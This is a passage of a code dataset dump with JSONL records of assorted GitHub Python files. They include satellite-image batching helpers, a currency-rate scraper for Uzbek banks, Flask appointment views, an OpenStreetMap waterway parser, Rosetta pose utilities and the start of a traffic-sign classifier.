pickle.load(pkl_file) # 加载数据\r\n\r\n return data\r\n\r\n\r\ndef dense_to_one_hot(labels_dense, num_classes):\r\n \"\"\"Convert class labels from scalars to one-hot vectors.\"\"\"\r\n # 从标量类标签转换为一个one-hot向量\r\n num_labels = labels_dense.shape[0]\r\n index_offset = np.arange(num_labels) * num_classes\r\n # print index_offset\r\n labels_one_hot = np.zeros((num_labels, num_classes))\r\n labels_one_hot.flat[index_offset + labels_dense.ravel()] = 1\r\n return labels_one_hot\r\n\r\nstart_index = 0\r\n\r\ndef next_batch(data, batch_size, img_pixel=3, channels=4):\r\n global start_index # 必须定义成全局变量\r\n global second_index # 必须定义成全局变量\r\n\r\n second_index = start_index + batch_size\r\n\r\n if second_index > len(data):\r\n second_index = len(data)\r\n data1 = data[start_index:second_index]\r\n # lab=labels[start_index:second_index]\r\n start_index = second_index\r\n if start_index >= len(data):\r\n start_index = 0\r\n\r\n # 将每次得到batch_size个数据按行打乱\r\n index = [i for i in range(len(data1))] # len(data1)得到的行数\r\n np.random.shuffle(index) # 将索引打乱\r\n data1 = data1[index]\r\n\r\n # 提起出数据和标签\r\n img = data1[:, 0:img_pixel * img_pixel * channels]\r\n\r\n # img = img * (1. / img.max) - 0.5\r\n img = img * (1. / 255) - 0.5 # 数据归一化到 -0.5~0.5\r\n img = img.astype(np.float32) # 类型转换\r\n\r\n label = data1[:, -1]\r\n label = label.astype(int) # 类型转换\r\n\r\n return img, label\r\n\r\n\r\ndef Multiband2Array(path):\r\n src_ds = gdal.Open(path)\r\n if src_ds is None:\r\n print('Unable to open %s' % path)\r\n sys.exit(1)\r\n\r\n src_ds_array = src_ds.ReadAsArray()\r\n c1 = src_ds_array[0, :, :]\r\n c2 = src_ds_array[1, :, :]\r\n c3 = src_ds_array[2, :, :]\r\n # c4 = src_ds_array[3, :, :]\r\n\r\n # data = cv2.merge([c1, c2, c3, c4])\r\n data = cv2.merge([c1, c2, c3])\r\n\r\n return data\r\n\r\n\r\nif __name__ == \"__main__\":\r\n start_time = datetime.datetime.now()\r\n print(\"startTime: \", start_time)\r\n\r\n # 生成训练集\r\n image_path = r\"04.tif\"\r\n mask_path = r\"04_mask_pool.tif\"\r\n pkl_path = image_path[0:-4] + \".pkl\"\r\n print(\"影像路径:\", image_path)\r\n print(\"掩模路径:\", mask_path)\r\n print(\"序列化文件:\", pkl_path)\r\n\r\n create_pickle_train(image_path, mask_path, pkl_path, img_pixel=2, channels=3)\r\n\r\n end_time = datetime.datetime.now()\r\n print(\"endTime: \", end_time)\r\n print(\"seconds used: \", (end_time - start_time).seconds)\r\n","repo_name":"wucng/Tensorflow","sub_path":"tf_spark/py_script/pool-gf2-4band/Example/tool_set.py","file_name":"tool_set.py","file_ext":"py","file_size_in_byte":4713,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"70982591467","text":"class Movie:\n def __init__(self,movie,year,rating):\n self.movie = movie\n self.year = year\n self.rating = rating\n def film_nice(self):\n return(f\"{self.movie} - Utgivelsesår: {self.year} Score: {self.rating}\")\n \n\n\n\n\nInception = Movie(\"Inception\",2010,8.8) \nThe_Martian = Movie(\"The Martian\",2015,8.0) \nJoker = Movie(\"Joker\",2019,8.4) \n\nprint(Inception.film_nice())\nprint(The_Martian.film_nice())\nprint(Joker.film_nice())\n\n\n\n\n","repo_name":"Ayylmao13337/Programmering1","sub_path":"Oblig_4/Oppgave_1.py","file_name":"Oppgave_1.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"44005799744","text":"import sys\nimport urllib\nfrom collections import defaultdict\nfrom functools import lru_cache\nfrom logging import getLogger\nfrom typing import Callable, Dict, DefaultDict, List\n\nimport bs4\nimport requests\nfrom bs4 import BeautifulSoup\nfrom lxml import html\n\nlogger = getLogger(__name__)\n\nbs4.sys = sys # BS4 fails with `sys` not found without this monkeypatch\n\nfrom .models import BankModel, Bid, CurrencySource, Currency\n\n\ndef get_currency_by_rate() -> DefaultDict:\n currencies_by_bank: List[BankModel] = [\n get_source_currency(currency) for currency in CurrencySource\n ]\n\n currencies_by_rate = defaultdict(list)\n for bank_currency in currencies_by_bank:\n for currency in bank_currency.currency_data:\n currencies_by_rate[currency.currency].append(\n {bank_currency.bank_name: {\"buy\": currency.buy, \"sell\": currency.sell,}}\n )\n\n return currencies_by_rate\n\n\n@lru_cache(maxsize=256)\ndef get_source_currency(currency_source: CurrencySource) -> BankModel:\n return BankModel(\n bank_name=currency_source.name,\n currency_data=CurrencySourceMap[currency_source](),\n )\n\n\ndef _get_cb_data() -> List[Bid]:\n \"\"\"\n Retrieve and get Central Bank data\n \"\"\"\n url: str = \"http://cbu.uz/ru/arkhiv-kursov-valyut/json/\"\n bank_data: Dict = requests.get(url).json()\n\n return [\n Bid(currency=bank_currency.get(\"Ccy\"), buy=bank_currency.get(\"Rate\"))\n for bank_currency in bank_data\n if bank_currency.get(\"Ccy\") in Currency.names()\n ]\n\n\ndef _get_ofb_data() -> List[Bid]:\n def _normalize(string) -> str:\n return string.text_content().split(\"\\n\")[1].replace(\"\\t\", \"\").replace(\" \", \"\")\n\n url = \"https://ofb.uz/about/kurs-obmena-valyut/\"\n page = html.fromstring(requests.get(url).content)\n tr_elements = page.xpath(\"//tr\")\n\n bids: List[Bid] = []\n try:\n for j in range(1, len(tr_elements)):\n T = tr_elements[j]\n\n currency_name = _normalize(T[0])[:3]\n buy_rate = _normalize(T[2])\n sell_rate = _normalize(T[3])\n\n bid = Bid(currency_name, buy_rate, sell_rate)\n bids.append(bid)\n except Exception as e:\n logger.warning(f\"Error occurred while fetching OFB data: {e}\")\n\n return bids\n\n\ndef _get_nbu_data() -> List[Bid]:\n url: str = \"https://nbu.uz/exchange-rates/json/\"\n bank_data: Dict = requests.get(url).json()\n\n return [\n Bid(\n currency=bank_currency.get(\"code\"),\n buy=bank_currency.get(\"nbu_buy_price\"),\n sell=bank_currency.get(\"nbu_cell_price\"),\n )\n for bank_currency in bank_data\n if bank_currency.get(\"code\") in Currency.names()\n ]\n\n\ndef _get_kapital_bank_data() -> List[Bid]:\n url = \"https://kapitalbank.uz/ru/services/exchange-rates\"\n soup = BeautifulSoup(urllib.request.urlopen(url).read())\n\n bids: List[Bid] = []\n\n for currency_name in Currency.names():\n bank_currency_tag = soup.find(\"div\", class_=f\"item-{currency_name.lower()}\")\n bank_currency = [\n i.split(\" \")[0] for i in bank_currency_tag.text.split(\"\\n\") if i\n ]\n\n currency_name, buy_rate, sell_rate, *_ = bank_currency\n bids.append(Bid(currency_name, buy_rate, sell_rate))\n return bids\n\n\nCurrencySourceMap: Dict[CurrencySource, Callable] = {\n CurrencySource.OFB: _get_ofb_data,\n CurrencySource.NBU: _get_nbu_data,\n CurrencySource.CENTRAL_BANK: _get_cb_data,\n CurrencySource.KAPITAL_BANK: _get_kapital_bank_data,\n}\n","repo_name":"djanmamur/currency","sub_path":"currency/sources.py","file_name":"sources.py","file_ext":"py","file_size_in_byte":3526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42311807125","text":"from flask import redirect, render_template, request, url_for, session, abort, flash\nfrom app.models.turn import Turn\nfrom app.models.configuration import Configuration\nfrom app.helpers.control_decorator import control\nfrom app.helpers.permission import check as has_permission\nfrom app.helpers.turn import all_turns2\nfrom app.models.forms.turn import TurnNewForm\nfrom datetime import date, datetime, timedelta, time\nfrom app.models.helpcenter import HelpCenter\nfrom flask.json import jsonify\n\n# Protected resources\n\n\n@control\ndef indexApi(centro, date):\n if not has_permission(session, \"turn_index\"): # Check permission\n return redirect(url_for(\"home\"))\n\n centro = HelpCenter.find(centro)\n bt = str(centro.opening_time)\n et = str(centro.closing_time)\n hourAux = int(bt[0:2])\n minAux = int(bt[3:5])\n times = []\n while hourAux < int(et[0:2]):\n times.append(time(hour=hourAux, minute=minAux))\n hourAux = hourAux+1 if minAux == 30 else hourAux\n minAux = 0 if (minAux == 30) else 30\n takenTurns = Turn.horas_ocupadas(centro.id, date)\n for turns in takenTurns:\n hour = str(turns)[0:2]\n minu = str(turns)[3:5]\n tt = time(hour=int(hour), minute=int(minu))\n if tt in times:\n times.remove(tt)\n print(times)\n return str(times)\n\n\n@control\ndef indexTodayApi(centro):\n if not has_permission(session, \"turn_index\"): # Check permission\n return redirect(url_for(\"home\"))\n\n turns = Turn.findByDateAndCenter(date.today(), centro)\n return render_template(\"turns/index.html\", turns=turns)\n\n\n@control\ndef index(centro):\n if not has_permission(session, \"turn_index\"): # Check permission\n return redirect(url_for(\"home\"))\n hc=HelpCenter.find(centro)\n if hc == None:\n return render_template(\"error.html\"), 404\n turns = Turn.index(centro)\n\n elementsPerPage = Configuration.last().elementsPerPage\n\n return render_template(\"turns/index.html\", turns=turns, elementsPerPage=elementsPerPage,estado=hc.status, center=centro)\n\n\n@control\ndef new(helpcenter_id):\n if not has_permission(session, \"turn_index\"): # Check permission\n return redirect(url_for(\"home\"))\n hc = HelpCenter.find(helpcenter_id)\n if hc == None:\n return render_template(\"error.html\"), 404\n if hc.accept != True or hc.status == False:\n return render_template(\"error.html\"), 401\n centro = HelpCenter.find(helpcenter_id)\n\n form = TurnNewForm()\n form.helpcenter_id.data = helpcenter_id\n form.date.data = form.date.data if form.date.data != None else date.today()\n turnos = all_turns2(helpcenter_id, (str(form.date.data).replace('-', '')))\n form.opening_time.choices = [(str(t), str(t))for t in turnos]\n\n if form.validate_on_submit():\n turn = Turn.create(form)\n flash(\"Se creo el turno!\", category=\"success\")\n return redirect(url_for(\"turns_index\", centro=helpcenter_id))\n\n return render_template(\"turns/new.html\", form=form, helpcenter_id=helpcenter_id)\n\n\n@control\ndef edit(turn_id):\n if not has_permission(session, \"turn_update\"): # Check permission\n return redirect(url_for(\"home\"))\n tur = Turn.find(turn_id)\n centro = tur.helpcenter[0]\n if centro.accept != True or centro.status == False:\n return render_template(\"error.html\"), 401\n aux = Turn.find(turn_id)\n form = TurnNewForm()\n form.helpcenter_id.data = centro.id\n form.date.data = aux.date if request.method == 'GET' else form.date.data\n turnos = all_turns2(form.helpcenter_id.data,\n (str(form.date.data).replace('-', '')))\n form.opening_time.choices = [(str(t), str(t))for t in turnos]\n form.opening_time.choices.append(\n (str(aux.opening_time), str(aux.opening_time)))\n\n turnos = all_turns2(centro.id, (str(form.date.data).replace('-', '')))\n\n if form.validate_on_submit():\n turn = Turn.edit(form, turn_id)\n flash(\"Se edito el turno!\", category=\"success\")\n return redirect(url_for(\"turns_index\", centro=aux.helpcenter[0].id))\n form.user.data = aux.user\n form.phone.data = aux.phone\n f = str(aux.date.year)+str(aux.date.month)+str(aux.date.day)\n\n return render_template(\"turns/edit.html\", form=form, turn_id=turn_id, center=aux.helpcenter[0].id, fecha=f, h=aux.opening_time)\n\n\n@ control\ndef delete(turn_id):\n if not has_permission(session, \"turn_delete\"): # Check permission\n return redirect(url_for(\"home\"))\n aux = Turn.find(turn_id)\n if aux == None:\n return render_template(\"error.html\"), 404\n aux = aux.helpcenter[0].id\n Turn.delete(turn_id)\n flash('Turno eliminado correctamente', category=\"success\")\n return redirect(url_for(\"turns_index\", centro=aux))\n\ndef api_fechas_turnos():\n \n fechaInicio = request.args.get(\"fechaIni\")\n fechaFin = request.args.get(\"fechaFin\")\n if(not fechaInicio or not fechaFin):\n return jsonify({})\n aux=Turn.cantTurnsInRange(fechaInicio,fechaFin)\n return jsonify(aux)\n\ndef api_centro_turnos():\n aux=Turn.agrupados()\n return jsonify(aux)\n","repo_name":"NahuelBigu/CuidAR","sub_path":"app/resources/turns.py","file_name":"turns.py","file_ext":"py","file_size_in_byte":5075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73951521706","text":"from typing import List, Optional, Tuple, Union\n\nimport torch\nimport torch.nn as nn\nfrom scaling import (\n ActivationBalancer,\n ScaledConv1d,\n)\n\n\nclass LConv(nn.Module):\n \"\"\"A convolution module to prevent information loss.\"\"\"\n\n def __init__(\n self,\n channels: int,\n kernel_size: int = 7,\n bias: bool = True,\n ):\n \"\"\"\n Args:\n channels:\n Dimension of the input embedding, and of the lconv output.\n \"\"\"\n super().__init__()\n self.pointwise_conv1 = nn.Conv1d(\n channels,\n 2 * channels,\n kernel_size=1,\n stride=1,\n padding=0,\n bias=bias,\n )\n\n self.deriv_balancer1 = ActivationBalancer(\n 2 * channels,\n channel_dim=1,\n max_abs=10.0,\n min_positive=0.05,\n max_positive=1.0,\n )\n\n self.depthwise_conv = nn.Conv1d(\n 2 * channels,\n 2 * channels,\n kernel_size=kernel_size,\n stride=1,\n padding=(kernel_size - 1) // 2,\n groups=2 * channels,\n bias=bias,\n )\n\n self.deriv_balancer2 = ActivationBalancer(\n 2 * channels,\n channel_dim=1,\n min_positive=0.05,\n max_positive=1.0,\n max_abs=20.0,\n )\n\n self.pointwise_conv2 = ScaledConv1d(\n 2 * channels,\n channels,\n kernel_size=1,\n stride=1,\n padding=0,\n bias=bias,\n initial_scale=0.05,\n )\n\n def forward(\n self,\n x: torch.Tensor,\n src_key_padding_mask: Optional[torch.Tensor] = None,\n ) -> torch.Tensor:\n \"\"\"\n Args:\n x: A 3-D tensor of shape (N, T, C).\n Returns:\n Return a tensor of shape (N, T, C).\n \"\"\"\n # exchange the temporal dimension and the feature dimension\n x = x.permute(0, 2, 1) # (#batch, channels, time).\n\n x = self.pointwise_conv1(x) # (batch, 2*channels, time)\n\n x = self.deriv_balancer1(x)\n\n if src_key_padding_mask is not None:\n x = x.masked_fill(src_key_padding_mask.unsqueeze(1).expand_as(x), 0.0)\n\n x = self.depthwise_conv(x)\n\n x = self.deriv_balancer2(x)\n\n x = self.pointwise_conv2(x) # (batch, channels, time)\n\n return x.permute(0, 2, 1)\n","repo_name":"k2-fsa/icefall","sub_path":"egs/librispeech/ASR/pruned_transducer_stateless7_ctc_bs/lconv.py","file_name":"lconv.py","file_ext":"py","file_size_in_byte":2429,"program_lang":"python","lang":"en","doc_type":"code","stars":640,"dataset":"github-code","pt":"37"} +{"seq_id":"22726299201","text":"from django.shortcuts import render\nfrom django.contrib import messages\nfrom .forms import UserForm\nimport requests\n\n\n# Create your views here.\ndef index(request):\n if request.method == 'POST':\n f = UserForm(request.POST, request.FILES)\n if f.is_valid():\n data = requests.post('http://127.0.0.1:8000/speaker_verification/speaker-verify', files=request.FILES)\n messages.success(request, f'{data}')\n else:\n messages.error(request, \"Failed. Please check again the information\")\n return render(request, \"speaker_verification/index.html\", {\n 'form': f\n })\n\n return render(request, \"speaker_verification/index.html\", {\n 'form': UserForm()\n })","repo_name":"phucvu460/speaker_verification","sub_path":"speaker_verification/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71532362028","text":"\nimport sys\nimport osmium\nfrom .classes import *\nfrom .setting import *\nfrom shapely import geometry\n\ndef _getBounds(filename, bbox):\n try:\n f = osmium.io.Reader(filename)\n except:\n sys.exit(f'Error: filepath {filename} contains invalid characters. Please use english characters only')\n\n if bbox is None:\n header = f.header()\n box = header.box()\n bottom_left = box.bottom_left\n top_right = box.top_right\n try:\n minlat, minlon = bottom_left.lat, bottom_left.lon\n maxlat, maxlon = top_right.lat, top_right.lon\n except:\n minlat, minlon, maxlat, maxlon = default_bounds['minlat'], default_bounds['minlon'], default_bounds['maxlat'], default_bounds['maxlon']\n else:\n minlat, minlon, maxlat, maxlon = bbox\n\n bounds = geometry.Polygon([(minlon, maxlat), (maxlon, maxlat), (maxlon, minlat), (minlon, minlat)])\n return bounds\n\nclass NWRHandler(osmium.SimpleHandler):\n def __init__(self):\n osmium.SimpleHandler.__init__(self)\n\n self.strict_mode = True\n self.bounds = None\n self.POIs = False\n\n self.osm_node_dict = {}\n self.osm_node_id_list = []\n self.osm_node_coord_list = []\n\n self.osm_way_dict = {}\n self.osm_relation_outer_way_list=[]\n self.osm_relation_inter_way_list = []\n\n\n def node(self, n):\n node = Node()\n node.osm_node_id = str(n.id)\n lon, lat = n.location.lon, n.location.lat\n node.geometry = geometry.Point((round(lon, lonlat_precision), round(lat, lonlat_precision)))\n node.x_coord=lon\n node.y_coord=lat\n if self.strict_mode:\n if not node.geometry.within(self.bounds):\n node.in_region = False\n self.osm_node_id_list.append(node.osm_node_id)\n self.osm_node_coord_list.append((lon, lat))\n\n self.osm_node_dict[node.osm_node_id] = node\n del n\n\n def way(self, w):\n way = Way()\n way.osm_way_id = str(w.id)\n way.ref_node_id_list = [str(node.ref) for node in w.nodes]\n if w.tags.get('waterway') or w.tags.get('water'):\n way.waterway=w.tags.get('waterway') if w.tags.get('waterway') else w.tags.get('water')\n way.access = w.tags.get('access')\n way.boat = w.tags.get('boat')\n way.barrier = w.tags.get('barrier')\n way.gnis_feature_id = w.tags.get('gnis:feature_id')\n way.gnis_state_id = w.tags.get('gnis:state_id')\n way.gnis_name = w.tags.get('gnis:name')\n way.intermittent = w.tags.get('intermittent')\n way.name = w.tags.get('name')\n way.natural = w.tags.get('natural')\n way.tunnel = w.tags.get('tunnel')\n if w.tags.get('man_made') in default_man_mades:\n way.waterway = w.tags.get('man_made')\n way.access = w.tags.get('access')\n way.boat = w.tags.get('boat')\n way.barrier = w.tags.get('barrier')\n way.gnis_feature_id = w.tags.get('gnis:feature_id')\n way.gnis_state_id = w.tags.get('gnis:state_id')\n way.gnis_name = w.tags.get('gnis:name')\n way.intermittent = w.tags.get('intermittent')\n way.name = w.tags.get('name')\n way.natural = w.tags.get('natural')\n way.tunnel = w.tags.get('tunnel')\n if w.tags.get('waterway:type'):\n way.waterway = w.tags.get('waterway:type')\n way.access = w.tags.get('access')\n way.boat = w.tags.get('boat')\n way.barrier = w.tags.get('barrier')\n way.gnis_feature_id = w.tags.get('gnis:feature_id')\n way.gnis_state_id = w.tags.get('gnis:state_id')\n way.gnis_name = w.tags.get('gnis:name')\n way.intermittent = w.tags.get('intermittent')\n way.name = w.tags.get('name')\n way.natural = w.tags.get('natural')\n way.tunnel = w.tags.get('tunnel')\n if not w.tags.get('waterway') and not w.tags.get('water'):\n if w.tags.get('natural'):\n way.waterway = w.tags.get('natural')\n way.access = w.tags.get('access')\n way.boat = w.tags.get('boat')\n way.barrier = w.tags.get('barrier')\n way.gnis_feature_id = w.tags.get('gnis:feature_id')\n way.gnis_state_id = w.tags.get('gnis:state_id')\n way.gnis_name = w.tags.get('gnis:name')\n way.intermittent = w.tags.get('intermittent')\n way.name = w.tags.get('name')\n way.natural = w.tags.get('natural')\n way.tunnel = w.tags.get('tunnel')\n self.osm_way_dict[way.osm_way_id] = way\n\n del w\n\n\n def relation(self, r):\n relation = Relation()\n relation.osm_relation_id = str(r.id)\n relation.name = r.tags.get('name')\n outer_ways=[]\n is_close = True\n if r.tags.get('water') or r.tags.get('waterway'):\n if r.tags.get('type') == 'multipolygon':\n try:\n for member in r.members:\n member_id, member_type, member_role = member.ref, member.type, member.role\n member_id_str = str(member_id)\n member_type_lc = member_type.lower()\n osm_way = self.osm_way_dict[member_id_str]\n if not osm_way.waterway:\n osm_way.waterway = r.tags.get('water') if r.tags.get('water') else r.tags.get('waterway')\n if member_role == 'inner' and member_type_lc == 'w':\n self.osm_relation_inter_way_list.append(osm_way)\n elif member_role == 'outer' and member_type_lc == 'w':\n outer_ways.append(osm_way)\n else:\n if osm_way.ref_node_id_list[0] == osm_way.ref_node_id_list[-1]:\n self.osm_relation_inter_way_list.append(osm_way)\n except:\n is_close=False\n elif r.tags.get('natural') and r.tags.get('natural') == 'water':\n if r.tags.get('type') == 'multipolygon':\n try:\n for member in r.members:\n member_id, member_type, member_role = member.ref, member.type, member.role\n member_id_str = str(member_id)\n member_type_lc = member_type.lower()\n osm_way = self.osm_way_dict[member_id_str]\n if not osm_way.waterway:\n osm_way.waterway = r.tags.get('water') if r.tags.get('water') else r.tags.get('waterway')\n if member_role == 'inner' and member_type_lc == 'w':\n self.osm_relation_inter_way_list.append(osm_way)\n elif member_role == 'outer' and member_type_lc == 'w':\n outer_ways.append(osm_way)\n else:\n if osm_way.ref_node_id_list[0] == osm_way.ref_node_id_list[-1]:\n self.osm_relation_inter_way_list.append(osm_way)\n except:\n is_close=False\n if is_close and len(outer_ways)>0:\n outer_ways_ = [outer_ways[0]]\n outer_ways.remove(outer_ways[0])\n epochs = 0\n max_epochs = len(outer_ways) * len(outer_ways)\n while True:\n for way in outer_ways:\n for i in range(len(outer_ways_)):\n if way.ref_node_id_list[0] == outer_ways_[i].ref_node_id_list[-1]:\n outer_ways_.insert(i + 1, way)\n outer_ways.remove(way)\n break\n elif way.ref_node_id_list[-1] == outer_ways_[i].ref_node_id_list[-1]:\n way.ref_node_id_list = way.ref_node_id_list[::-1]\n outer_ways_.insert(i + 1, way)\n outer_ways.remove(way)\n break\n elif way.ref_node_id_list[0] == outer_ways_[i].ref_node_id_list[0]:\n way.ref_node_id_list = way.ref_node_id_list[::-1]\n outer_ways_.insert(i, way)\n outer_ways.remove(way)\n break\n elif way.ref_node_id_list[-1] == outer_ways_[i].ref_node_id_list[0]:\n outer_ways_.insert(i, way)\n outer_ways.remove(way)\n break\n epochs += 1\n if len(outer_ways) == 0 or epochs > max_epochs:\n break\n self.osm_relation_outer_way_list.append(outer_ways_)\n else:\n if len(outer_ways) > 0:\n self.osm_relation_outer_way_list.append(outer_ways)\n del r\n\ndef _processWays(net, h):\n for osm_way_id, osm_way in h.osm_way_dict.items():\n if osm_way.waterway:\n try:\n osm_way.ref_node_list = [net.osm_node_dict[ref_node_id] for ref_node_id in osm_way.ref_node_id_list]\n if osm_way.ref_node_list[0] == osm_way.ref_node_list[-1]:\n osm_way.way_poi=True\n net.osm_way_dict[osm_way_id] = osm_way\n except KeyError as e:\n print(f' warning: ref node {e} in way {osm_way_id} is not defined, way {osm_way_id} will not be imported')\n\n\ndef _processRelations(net, h):\n for osm_way in h.osm_relation_inter_way_list:\n try:\n osm_way.ref_node_list = [net.osm_node_dict[ref_node_id] for ref_node_id in osm_way.ref_node_id_list]\n if osm_way.ref_node_list[0] == osm_way.ref_node_list[-1]:\n osm_way.way_poi = True\n net.osm_relation_inter_way_list.append(osm_way)\n except KeyError as e:\n print(f' warning: ref node {e} in way {osm_way.osm_way_id} is not defined, way {osm_way.osm_way_id} will not be imported')\n for osm_ways in h.osm_relation_outer_way_list:\n try:\n for osm_way in osm_ways:\n osm_way.ref_node_list = [net.osm_node_dict[ref_node_id] for ref_node_id in osm_way.ref_node_id_list]\n if osm_way.ref_node_list[0] == osm_way.ref_node_list[-1]:\n osm_way.way_poi = True\n net.osm_relation_outer_way_list.append(osm_ways)\n except KeyError as e:\n print(\n f' warning: ref node {e} in way {osm_way.osm_way_id} is not defined, way {osm_way.osm_way_id} will not be imported')\n\n\n\ndef readOSMFile(filename,POIs,strict_mode, bbox):\n net = Network()\n\n net.bounds = _getBounds(filename, bbox)\n\n h = NWRHandler()\n h.strict_mode = strict_mode\n h.bounds = net.bounds\n h.POIs = POIs\n h.apply_file(filename)\n\n net.osm_node_dict=h.osm_node_dict\n\n _processWays(net, h)\n _processRelations(net, h)\n\n return net\n","repo_name":"asu-trans-ai-lab/osm2gmns_water","sub_path":"osm2water/reader.py","file_name":"reader.py","file_ext":"py","file_size_in_byte":11092,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"2606145516","text":"import numpy as np, rpxdock as rp\nfrom pyrosetta.rosetta.numeric import xyzVector_double_t as rVec\nfrom pyrosetta.rosetta.numeric import xyzMatrix_double_t as rMat\nfrom pyrosetta import AtomID\nfrom willutil import Bunch\n\ndef rosetta_init(opts=\"-beta -mute all\"):\n from pyrosetta import init\n init(opts)\n\ndef numpy_stub_from_rosetta_stub(rosstub):\n npstub = np.zeros((4, 4))\n for i in range(3):\n npstub[..., i, 3] = rosstub.v[i]\n for j in range(3):\n npstub[..., i, j] = rosstub.M(i + 1, j + 1)\n npstub[..., 3, 3] = 1.0\n return npstub\n\ndef get_bb_coords(pose, which_resi=None, recenter_input=False, **kw):\n if which_resi is None:\n which_resi = list(range(1, pose.size() + 1))\n coords = []\n for ir in which_resi:\n r = pose.residue(ir)\n if not r.is_protein():\n raise ValueError(\"non-protein residue %s at position %i\" % (r.name(), ir))\n n, ca, c, o = r.xyz(\"N\"), r.xyz(\"CA\"), r.xyz(\"C\"), r.xyz(\"O\")\n cb = r.xyz(\"CB\") if r.has(\"CB\") else r.xyz(\"CA\")\n coords.append(\n np.array([\n [n.x, n.y, n.z, 1],\n [ca.x, ca.y, ca.z, 1],\n [c.x, c.y, c.z, 1],\n [o.x, o.y, o.z, 1],\n [cb.x, cb.y, cb.z, 1],\n ]))\n coords = np.stack(coords).astype(\"f8\")\n if recenter_input:\n coords = coords.reshape(-1, 4)\n coords[:, :3] -= np.mean(coords[:, :3], axis=0)\n coords = coords.reshape(-1, 5, 4)\n return coords\n\ndef get_cb_coords(pose, which_resi=None, recenter_input=False, **kw):\n kw = Bunch(kw, _strict=False)\n if which_resi is None:\n which_resi = list(range(1, pose.size() + 1))\n cbs = []\n for ir in which_resi:\n r = pose.residue(ir)\n if not r.is_protein():\n raise ValueError(\"non-protein residue %s at position %i\" % (r.name(), ir))\n if r.has(\"CB\"):\n cb = r.xyz(\"CB\")\n else:\n cb = r.xyz(\"CA\")\n cbs.append(np.array([cb.x, cb.y, cb.z, 1]))\n coords = np.stack(cbs).astype(\"f8\")\n if recenter_input:\n bb = get_bb_coords(pose, which_resi, **kw.sub(recenter_input=False))\n cen = np.mean(bb.reshape(-1, 4)[:, :3], 0)\n coords[:, :3] -= cen\n return coords\n\ndef get_sc_coords(pose, which_resi=None, recenter_input=False, **kw):\n kw = Bunch(kw, _strict=False)\n if which_resi is None:\n which_resi = list(range(1, pose.size() + 1))\n resaname, resacrd = list(), list()\n for ir in which_resi:\n r = pose.residue(ir)\n if not r.is_protein():\n raise ValueError(\"non-protein residue %s at position %i\" % (r.name(), ir))\n anames, crd = list(), list()\n for ia in range(r.natoms()):\n anames.append(r.atom_name(ia + 1))\n xyz = r.xyz(ia + 1)\n crd.append([xyz.x, xyz.y, xyz.z])\n resaname.append(anames)\n hcrd = np.ones((len(anames), 4), dtype='f4')\n hcrd[:, :3] = np.array(crd)\n resacrd.append(hcrd)\n if recenter_input:\n bb = get_bb_coords(pose, which_resi, **kw.sub(recenter_input=False))\n cen = np.mean(bb.reshape(-1, 4)[:, :3], 0)\n for xyz in resacrd:\n xyz[:, :3] -= cen\n return resaname, resacrd\n\ndef xform_pose(pose, xform, lb=1, ub=None):\n assert xform.shape == (4, 4)\n if ub is None: ub = pose.size() + 1\n for ir in range(lb, ub):\n res = pose.residue(ir)\n for ia in range(1, res.natoms() + 1):\n old = res.xyz(ia)\n old = np.array([old[0], old[1], old[2], 1])\n new = xform @ old\n pose.set_xyz(AtomID(ia, ir), rVec(new[0], new[1], new[2]))\n # print(ir, ia, new, old)\n\ndef get_pose(pdbfile, posecache=None, **kw):\n import rpxdock.rosetta.triggers_init as ros\n if isinstance(pdbfile, str):\n if posecache:\n pose = ros.get_pose_cached(pdbfile)\n else:\n pose = ros.pose_from_file(pdbfile)\n ros.assign_secstruct(pose)\n return pose\n","repo_name":"willsheffler/rpxdock","sub_path":"rpxdock/rosetta/rosetta_util.py","file_name":"rosetta_util.py","file_ext":"py","file_size_in_byte":3832,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"37"} +{"seq_id":"30017533346","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Category',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=50)),\n ],\n ),\n migrations.CreateModel(\n name='Server',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('host_ip', models.IPAddressField()),\n ('host_user', models.CharField(max_length=50)),\n ('host_passwd', models.CharField(max_length=50)),\n ('body', models.TextField()),\n ('created', models.DateTimeField(auto_now_add=True)),\n ('host_os', models.CharField(default=b'l', max_length=50, choices=[(b'w', b'Windowns'), (b'l', b'RedHat')])),\n ('category', models.ForeignKey(related_name='host_category', to='Oserver.Category')),\n ],\n options={\n 'ordering': ('category', '-host_ip'),\n },\n ),\n ]\n","repo_name":"zhangsan6/manyserver","sub_path":"Mserver/Mserver/Oserver/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"44954492807","text":"import numpy as np\nimport pandas as pd\nimport os\nimport cv2\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\nfrom PIL import Image\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score\nfrom keras.utils import to_categorical\nfrom keras.models import Sequential, load_model\nfrom keras.layers import Conv2D, MaxPool2D, Dense, Flatten, Dropout\n\ndata_set = []\nclass_labels = []\ntotal_classes = 43\ncurr_path = os.getcwd()\n\nfor i in range(total_classes):\n\tpath = os.path.join(curr_path,'train',str(i))\n\timages = os.listdir(path)\n\n\tfor j in images:\n\t\ttry:\n\t\t\timage = Image.open(path + '/' + j)\n\t\t\timage = image.resize((30,30))\n\t\t\timage = np.array(image)\n\t\t\tdata_set.append(image)\n\t\t\tclass_labels.append(i)\n\t\texcept:\n\t\t\tprint(\"Error 